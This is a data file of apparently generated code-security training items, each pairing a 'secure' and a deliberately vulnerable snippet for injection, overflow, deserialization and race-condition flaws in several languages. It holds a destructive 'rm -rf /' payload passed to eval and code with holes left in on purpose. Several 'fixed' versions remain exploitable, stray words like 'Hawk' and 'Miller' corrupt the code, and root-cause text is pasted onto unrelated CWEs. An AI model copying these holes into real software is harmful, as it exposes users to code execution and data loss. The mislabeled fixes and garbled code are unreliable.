cyber_dfa9c66e4eb7 | vulnerability_research_cve | CWE-20 | Write a php code that takes a value from the URL parameter 'code' and stores it in the variable '$code'. Then, use the eval() function twice to execute the code stored in '$code'. The first eval() function extracts the values from the GET array into the current symbol table. The second eval() function then executes the... | Target: php implementation for Write a php code that takes a value from the URL parameter 'code' and .
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used correctly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Stra... | ```php
<?php
$code = filter_input(INPUT_GET, 'code', FILTER_SANITIZE_STRING);
if (!empty($code)) {
eval('extract($_GET);');
eval('echo $code;');
}
?>
``` | <think>
Target: php implementation for Write a php code that takes a value from the URL parameter 'code' and .
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used correctly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```php
<?php
$_GET['code'] = 'system("rm -rf /");';
$code = $_GET['code'];
eval('extract($_GET);');
eval('echo $code;');
?>
``` | 175 | 0.7 |
cyber_3367e2335b49 | vulnerability_research_cve | CWE-20 | Write a ruby code that asks the user for a command, takes the user's input and executes it using the system method. | Target: ruby implementation for Write a ruby code that asks the user for a command, takes the user's i.
Vulnerability Vector: In Ruby, improper input validation can lead to Code Injection vulnerabilities. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```ruby
def execute_command(user_input)
# Only allow alphanumeric characters and spaces
if user_input =~ /^[a-zA-Z0-9\s]*$/
system(user_input)
else
puts "Invalid command!"
end
end
puts "Enter your command:"
user_input = gets.chomp
execute_command(user_input)
``` | <think>
Target: ruby implementation for Write a ruby code that asks the user for a command, takes the user's i.
Vulnerability Vector: In Ruby, improper input validation can lead to Code Injection vulnerabilities. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```ruby
def execute_command(user_input)
system(user_input)
end
puts "Enter your command:"
user_input = gets.chomp
execute_command(user_input)
``` | 212 | 0.59 |
cyber_5d0dba8c9949 | vulnerability_research_cve | CWE-20 | Write a go code that leaks memory every time it calls a function named 'leakyFunction'. This function creates an instance of a struct named 'Leaky' and allocates 1MB of memory to its data field. The main function indefinitely calls this function every millisecond, causing memory leaks. | Target: go implementation for Write a go code that leaks memory every time it calls a function named.
Vulnerability Vector: The Go language does not have automatic memory management. This might lead to me (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"runtime/debug"
"time"
)
type Leaky struct {
data []byte
}
var memPool = make(chan *Leaky, 100)
func leakyFunction() *Leaky {
var leak *Leaky
select {
case leak = <-memPool:
default:
leak = &Leaky{
data: make([]byte, 1024*1024), // allocate 1MB of memory
}
}
return leak
}... | <think>
Target: go implementation for Write a go code that leaks memory every time it calls a function named.
Vulnerability Vector: The Go language does not have automatic memory management. This might lead to me (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "time"
type Leaky struct {
data []byte
}
func leakyFunction() *Leaky {
leak := &Leaky{
data: make([]byte, 1024*1024), // allocate 1MB of memory
}
return leak
}
func main() {
for {
_ = leakyFunction() // leak memory every time we call this function
time.Sleep(time.Millisecond)
}... | 371 | 0.54 |
cyber_1f2feff3f518 | vulnerability_research_cve | CWE-20 | Write a kotlin code that reads an integer from the user, then prints out the corresponding word for numbers 1 and 2, and 'Unknown' for all other numbers. | Target: kotlin implementation for Write a kotlin code that reads an integer from the user, then prints o.
Vulnerability Vector: Kotlin's `when` expression may lead to unexpected behavior if not handled correc (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
fun main(args: Array<String>) {
val x = readLine()?.toIntOrNull()
val result = when(x) {
1 -> "One"
2 -> "Two"
else -> "Unknown"
}
println(result)
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that reads an integer from the user, then prints o.
Vulnerability Vector: Kotlin's `when` expression may lead to unexpected behavior if not handled correc (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
fun main(args: Array<String>) {
val x = readLine()?.toIntOrNull()
val result = when(x) {
1 -> "One"
2 -> "Two"
else -> "Unknown"
}
println(result)
}
``` | 188 | 0.8 |
cyber_5f3a7156a28b | vulnerability_research_cve | CWE-20 | Write a fortran code that initializes two arrays x and y with 10 elements each. The array x should contain numbers from 1 to 10 and y should contain numbers from 2 to 20. Then print out all elements of both arrays. | Target: fortran implementation for Write a fortran code that initializes two arrays x and y with 10 eleme.
Vulnerability Vector: The Fortran language lacks proper error handling, which can lead to runtime erro (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program SafeFortranProgram
implicit none
integer :: i
real, dimension(10) :: x, y
! Initializing array x with numbers from 1 to 10
do i = 1, 10
x(i) = real(i)
end do
! Initializing array y with numbers from 2 to 20
do i = 1, 10
y(i) = real(i)*2.0
... | <think>
Target: fortran implementation for Write a fortran code that initializes two arrays x and y with 10 eleme.
Vulnerability Vector: The Fortran language lacks proper error handling, which can lead to runtime erro (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program UnsafeFortranProgram
implicit none
integer :: i, j
real :: x(10), y(10)
do i=1, 11
x(i) = i
y(i) = i*2
end do
do i=1, 10
print*, 'x(', i, ') = ', x(i)
print*, 'y(', i, ') = ', y(i)
end do
end program UnsafeFortranProgram
``` | 308 | 0.65 |
cyber_cbf18df5eecc | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream, cstdio and cstring libraries. Define a function named print_user_input that takes a character pointer as an argument. Inside this function, declare a character array of size 10, copy the content of the input character pointer into this array using strcpy function, then print the... | Target: c++ implementation for Write a c++ code that includes iostream, cstdio and cstring libraries..
Vulnerability Vector: Improper input validation in C++ may lead to buffer overflows or format string a (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstdio>
#include <cstring>
void print_user_input(const char* input) {
char buffer[20];
strncpy(buffer, input, sizeof(buffer));
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
printf("User input: %s\n", buffer); Miller
}
int main() {
const char la... | <think>
Target: c++ implementation for Write a c++ code that includes iostream, cstdio and cstring libraries..
Vulnerability Vector: Improper input validation in C++ may lead to buffer overflows or format string a (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
#include <cstdio>
#include <cstring>
void print_user_input(char* input) {
char buffer[10];
strcpy(buffer, input);
printf("User input: %s\n", buffer);
}
int main() {
char large_input[20] = "This is a large input";
print_user_input(large_input);
return 0;
}
``` | 260 | 0.73 |
cyber_9e2ae3510525 | vulnerability_research_cve | CWE-787 | Write a go code that creates a byte slice of size 10 and then iterates over it 20 times. For each iteration, it converts the byte slice into an integer pointer, adds the current iteration number to it, and then converts it back to a byte slice. Finally, it prints out the modified byte slice. | Target: go implementation for Write a go code that creates a byte slice of size 10 and then iterates.
Vulnerability Vector: In Go, the use of `unsafe` package can lead to buffer overflows or memory corrup (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"encoding/binary"
"fmt"
)
func main() {
b := make([]byte, 10)
for i := 0; i < 20; i++ {
if i < len(b) {
binary.LittleEndian.PutUint64(b[i:], uint64(i))
}
}
fmt.Println(b)
}
``` | <think>
Target: go implementation for Write a go code that creates a byte slice of size 10 and then iterates.
Vulnerability Vector: In Go, the use of `unsafe` package can lead to buffer overflows or memory corrup (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"unsafe"
)
func main() {
b := make([]byte, 10)
for i := 0; i < 20; i++ {
*(*int64)(unsafe.Pointer(&b[i])) = int64(i)
}
fmt.Println(b)
}
``` | 232 | 0.73 |
cyber_d4f7a8213eef | vulnerability_research_cve | CWE-78 | Write a java code that uses serialization and deserialization to execute the Windows calculator application 'calc' when an object is deserialized. | Target: java implementation for Write a java code that uses serialization and deserialization to execu.
Vulnerability Vector: Insecure deserialization can lead to remote code execution vulnerabilities if no (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
class SecureClass implements Serializable {
private void readObject(ObjectInputStream stream) throws Exception {
// Deserialization is now secured
Runtime.getRuntime().exec("calc");
}
private void readObjectNoData() throws ObjectStreamException {
// To pre... | <think>
Target: java implementation for Write a java code that uses serialization and deserialization to execu.
Vulnerability Vector: Insecure deserialization can lead to remote code execution vulnerabilities if no (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
class VulnerableClass implements Serializable {
private void readObject(ObjectInputStream stream) throws Exception {
// Unsecured deserialization
Runtime.getRuntime().exec("calc");
}
}
public class Main {
public static void main(String[] args) throws Exception {
... | 322 | 0.76 |
cyber_35e9cec60085 | vulnerability_research_cve | CWE-20 | Write a php code that accepts a GET parameter named 'param'. The value of this parameter should be evaluated using the eval() function. If the value of 'param' is something like '; echo "Injected Code";', then the code will print 'Injected Code'. | Target: php implementation for Write a php code that accepts a GET parameter named 'param'. The value.
Vulnerability Vector: PHP's extract() function can lead to code injection attacks if not used correctl (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
// User input
$_GET['param'] = $_GET['param'] ?? '';
// Safe usage of eval()
if (preg_match('/^[a-zA-Z0-9_]+$/', $_GET['param'])) {
eval("echo $" . $_GET['param'] . ";");
} else {
echo "Invalid input";
}
?>
``` | <think>
Target: php implementation for Write a php code that accepts a GET parameter named 'param'. The value.
Vulnerability Vector: PHP's extract() function can lead to code injection attacks if not used correctl (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
// User input
$_GET['param'] = '; echo "Injected Code";';
// Unsafe usage of extract()
extract($_GET);
// Unsafe usage of eval()
eval("echo $param;");
?>
``` | 203 | 0.66 |
cyber_9bb468eb3f26 | vulnerability_research_cve | CWE-20 | Write a ruby code that accepts user input, evaluates it as Ruby code using the 'eval' method and then prints out the result. | Target: ruby implementation for Write a ruby code that accepts user input, evaluates it as Ruby code u.
Vulnerability Vector: Ruby's use of 'eval' method can pose a security risk as it can execute arbitrary (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
def receive_input(user_input)
begin
puts eval(user_input)
rescue SecurityError => e
puts "SecurityError: #{e}"
rescue SyntaxError => e
puts "SyntaxError: #{e}"
end
end
puts "Enter some Ruby code:"
user_input = gets.chomp
receive_input(user_input)
``` | <think>
Target: ruby implementation for Write a ruby code that accepts user input, evaluates it as Ruby code u.
Vulnerability Vector: Ruby's use of 'eval' method can pose a security risk as it can execute arbitrary (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
def receive_input(user_input)
eval(user_input)
end
puts "Enter some Ruby code:"
user_input = gets.chomp
receive_input(user_input)
``` | 208 | 0.61 |
cyber_24ddb4a79813 | vulnerability_research_cve | CWE-20 | Write a swift code that defines an Animal class and a Dog class which inherits from Animal. The Dog class has an additional property 'barkSound' and a method 'bark'. Create an instance of Animal and Dog. Try to cast the Animal instance to a Dog instance, which will fail because an Animal isn't a Dog. | Target: swift implementation for Write a swift code that defines an Animal class and a Dog class which .
Vulnerability Vector: Swift's strong typing system can lead to potential runtime errors related to typ (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class Animal {
var name: String
init(name: String) { Hawk
self.name = name
}
}
class Dog: Animal {
var barkSound: String
init(name: String, barkSound: String) {
self.barkSound = barkSound
super.init(name: name)
}
func bark()... | <think>
Target: swift implementation for Write a swift code that defines an Animal class and a Dog class which .
Vulnerability Vector: Swift's strong typing system can lead to potential runtime errors related to typ (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class Animal {
var name: String
init(name: String) {
self.name = name
}
}
class Dog: Animal {
var barkSound: String
init(name: String, barkSound: String) {
self.barkSound = barkSound
super.init(name: name)
}
func bark() -> S... | 334 | 0.87 |
cyber_ecdd25d9e4bf | vulnerability_research_cve | CWE-476 | Write a kotlin code that declares a nullable string variable and tries to access its length property. This will result in a NullPointerException because the variable is null. | Target: kotlin implementation for Write a kotlin code that declares a nullable string variable and tries.
Vulnerability Vector: Improper null safety handling in Kotlin can lead to NullPointerException at runt (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val myVariable: String? = null
println(myVariable?.length) // This will not cause a NullPointerException
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that declares a nullable string variable and tries.
Vulnerability Vector: Improper null safety handling in Kotlin can lead to NullPointerException at runt (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val myVariable: String? = null
println(myVariable.length) // This will cause a NullPointerException
}
``` | 159 | 0.76 |
cyber_804dc4eaf009 | vulnerability_research_cve | CWE-20 | Write a fortran code that initializes two arrays of size 10 each, one array with values from 1 to 10 and another with values from 2 to 20. Then print the elements of both arrays. | Target: fortran implementation for Write a fortran code that initializes two arrays of size 10 each, one .
Vulnerability Vector: The Fortran language doesn't have built-in features for error handling or except (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
integer :: i
integer, parameter :: n = 10
real :: x(n), y(n)
do i=1, n
x(i) = real(i)
y(i) = real(i) * 2.0
end do
do i=1, n
print '(a, i0, a, f5.2)', 'x(', i, ') = ', x(i)
print '(a, i0, a, f5.2)', 'y(', i, ') = ', y(i) ... | <think>
Target: fortran implementation for Write a fortran code that initializes two arrays of size 10 each, one .
Vulnerability Vector: The Fortran language doesn't have built-in features for error handling or except (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i, j
real :: x(10), y(10)
do i=1, 11
x(i) = i
y(i) = i * 2
end do
do i=1, 10
print*, 'x(', i, ') = ', x(i)
print*, 'y(', i, ') = ', y(i)
end do
end program main
``` | 272 | 0.71 |
cyber_078a66f76fa1 | vulnerability_research_cve | CWE-20 | Write a python code that will take user input as an expression, evaluate it using the built-in function 'eval', and print the result. | Target: python implementation for Write a python code that will take user input as an expression, evalua.
Vulnerability Vector: The use of `eval()` function without proper input validation or sanitization can (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import ast
class ExpressionVisitor(ast.NodeVisitor):
def visit(self, node):
if type(node).__name__ not in ['Expression', 'Num', 'BinOp', 'UnaryOp']:
raise ValueError('Invalid expression')
super().visit(node)
def evaluate_expression(expression):
tree = ast.parse(expression... | <think>
Target: python implementation for Write a python code that will take user input as an expression, evalua.
Vulnerability Vector: The use of `eval()` function without proper input validation or sanitization can (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import os
def evaluate_expression(expression):
return eval(expression)
user_input = input("Enter an expression: ")
print(evaluate_expression(user_input))
``` | 277 | 0.43 |
cyber_ec7bc128f76e | vulnerability_research_cve | CWE-20 | Write a go code that prints 'Hello, World!' when the variable 'i' is asserted as a string. If the assertion fails, the program should recover from the panic and print an error message. | Target: go implementation for Write a go code that prints 'Hello, World!' when the variable 'i' is a.
Vulnerability Vector: In Go, a function or method can panic when it's called with an argument of an in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import "fmt"
func main() {
defer func() {
if r := recover(); r != nil {
fmt.Println("Recovered from panic:", r)
}
}()
var i interface{} = "Hello, World!"
if str, ok := i.(string); ok {
fmt.Println(str)
} else {
fmt.Println("Invalid ty... | <think>
Target: go implementation for Write a go code that prints 'Hello, World!' when the variable 'i' is a.
Vulnerability Vector: In Go, a function or method can panic when it's called with an argument of an in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "fmt"
func main() {
defer func() {
if r := recover(); r != nil {
fmt.Println("Recovered from panic:", r)
}
}()
var i interface{} = "Hello, World!"
str, ok := i.(string)
if ok {
fmt.Println(str)
} else {
panic("Invalid type ... | 230 | 0.81 |
cyber_e237f6dd7de1 | vulnerability_research_cve | CWE-787 | Write a c++ code that declares an array of size 5 and then fills it with numbers from 0 to 4. | Target: c++ implementation for Write a c++ code that declares an array of size 5 and then fills it wi.
Vulnerability Vector: Buffer overflow vulnerability in C++ could occur if a programmer does not correc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
using namespace std;
int main() {
const int size = 5;
int arr[size];
for(int i=0; i<size; i++){
arr[i] = i;
} Hawk:
return 0;
}
``` | <think>
Target: c++ implementation for Write a c++ code that declares an array of size 5 and then fills it wi.
Vulnerability Vector: Buffer overflow vulnerability in C++ could occur if a programmer does not correc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
using namespace std;
int main() {
int arr[5];
for(int i=0; i<=5; i++){
arr[i] = i;
}
return 0;
}
``` | 192 | 0.72 |
cyber_a51079e24b4c | vulnerability_research_cve | CWE-20 | Write a javascript code that generates three random numbers between 0 and 1, then prints these numbers. | Target: javascript implementation for Write a javascript code that generates three random numbers between 0 .
Vulnerability Vector: Insecure Random Number Generation through Math.random can lead to predictable nu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const crypto = require('crypto');
function secureRandomNumbers() {
const num1 = crypto.randomBytes(4).readUInt32BE(0) / 0xFFFFFFFF;
const num2 = crypto.randomBytes(4).readUInt32BE(0) / 0xFFFFFFFF;
const num3 = crypto.randomBytes(4).readUInt32BE(0) / 0xFFFFFFFF;
console.log(num1 + " " + nu... | <think>
Target: javascript implementation for Write a javascript code that generates three random numbers between 0 .
Vulnerability Vector: Insecure Random Number Generation through Math.random can lead to predictable nu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function predictableRandomNumbers() {
var num1 = Math.random();
var num2 = Math.random();
var num3 = Math.random();
console.log(num1 + " " + num2 + " " + num3);
}
predictableRandomNumbers();
``` | 240 | 0.61 |
cyber_aed40d05f772 | vulnerability_research_cve | CWE-362 | Write a java code that creates two threads, each of which will increment and decrement a shared counter variable 1 million times. The final value of the counter should be printed out at the end. | Target: java implementation for Write a java code that creates two threads, each of which will increme.
Vulnerability Vector: Improper use of Java's Thread class can lead to race conditions and deadlocks. (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```java
import java.util.concurrent.atomic.AtomicInteger;
public class Main {
private static AtomicInteger counter = new AtomicInteger(0);
public static void main(String[] args) {
Thread thread1 = new Thread(() -> {
for (int i = 0; i < 1000000; i++) {
incrementCounter();
... | <think>
Target: java implementation for Write a java code that creates two threads, each of which will increme.
Vulnerability Vector: Improper use of Java's Thread class can lead to race conditions and deadlocks. (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```java
public class Main {
private static int counter = 0;
public static void main(String[] args) {
Thread thread1 = new Thread(() -> {
for (int i = 0; i < 1000000; i++) {
incrementCounter();
}
});
Thread thread2 = new Thread(() -> {
... | 380 | 0.83 |
cyber_e07209585021 | vulnerability_research_cve | CWE-362 | Write a go code that creates 10 goroutines, each assigning a value to a shared variable 'data'. The value assigned should be a string in the format 'Value X' where X is the goroutine number. After all goroutines have finished executing, print out the final value of 'data'. | Target: go implementation for Write a go code that creates 10 goroutines, each assigning a value to .
Vulnerability Vector: Improper handling of error in Go could lead to nil pointer dereference or data r (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"sync"
)
type Data struct {
value string
mu sync.Mutex
}
func main() {
var wg sync.WaitGroup
data := &Data{}
for i := 0; i < 10; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
data.mu.Lock()
data.value = fmt.Sprintf("Value %d", i)
data.mu.Unlock()
}(i)... | <think>
Target: go implementation for Write a go code that creates 10 goroutines, each assigning a value to .
Vulnerability Vector: Improper handling of error in Go could lead to nil pointer dereference or data r (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"sync"
)
type Data struct {
value string
}
func main() {
var wg sync.WaitGroup
var data *Data
for i := 0; i < 10; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done() Hawk
if data == nil {
data = &Data{value: fmt.Sprintf("Value %d", i)}
} else {
data.value = ... | 293 | 0.92 |
cyber_c796fbec72af | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates an instance of MyClass and assigns it to a variable called 'obj'. Then, try to print the string representation of 'obj' which will lead to a NullPointerException because 'obj' is null. | Target: kotlin implementation for Write a kotlin code that creates an instance of MyClass and assigns it.
Vulnerability Vector: Kotlin's null safety feature makes it easy to introduce null pointer exceptions (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val obj: MyClass? = null
println(obj?.toString() ?: "Object is null") // This will not lead to NullPointerException
}
class MyClass {
override fun toString(): String {
return "MyClass"
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates an instance of MyClass and assigns it.
Vulnerability Vector: Kotlin's null safety feature makes it easy to introduce null pointer exceptions (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val obj: MyClass? = null
println(obj.toString()) // This will lead to NullPointerException
}
class MyClass {
override fun toString(): String {
return "MyClass"
}
}
``` | 192 | 0.77 |
cyber_c0bd0798f3a9 | vulnerability_research_cve | CWE-787 | Write a fortran code that takes two strings, replaces the first string's characters with the second string's characters one by one, and prints out the modified first string. | Target: fortran implementation for Write a fortran code that takes two strings, replaces the first string.
Vulnerability Vector: Potential buffer overflow vulnerability in Fortran due to improper handling of s (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=10) :: str1, str2
integer :: i, length1, length2
str1 = 'Hello'
str2 = 'World'
length1 = len_trim(str1)
length2 = len_trim(str2)Bs
if (length1 >= length2) then
do i = 1, length2
str1(i:i) = str2(i:i)
end d... | <think>
Target: fortran implementation for Write a fortran code that takes two strings, replaces the first string.
Vulnerability Vector: Potential buffer overflow vulnerability in Fortran due to improper handling of s (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=10) :: str1, str2
integer :: i
str1 = 'Hello'
str2 = 'World'
do i = 1, len_trim(str2)
str1(i:i) = str2(i:i)
end do
print*, str1
end program main
``` | 264 | 0.65 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.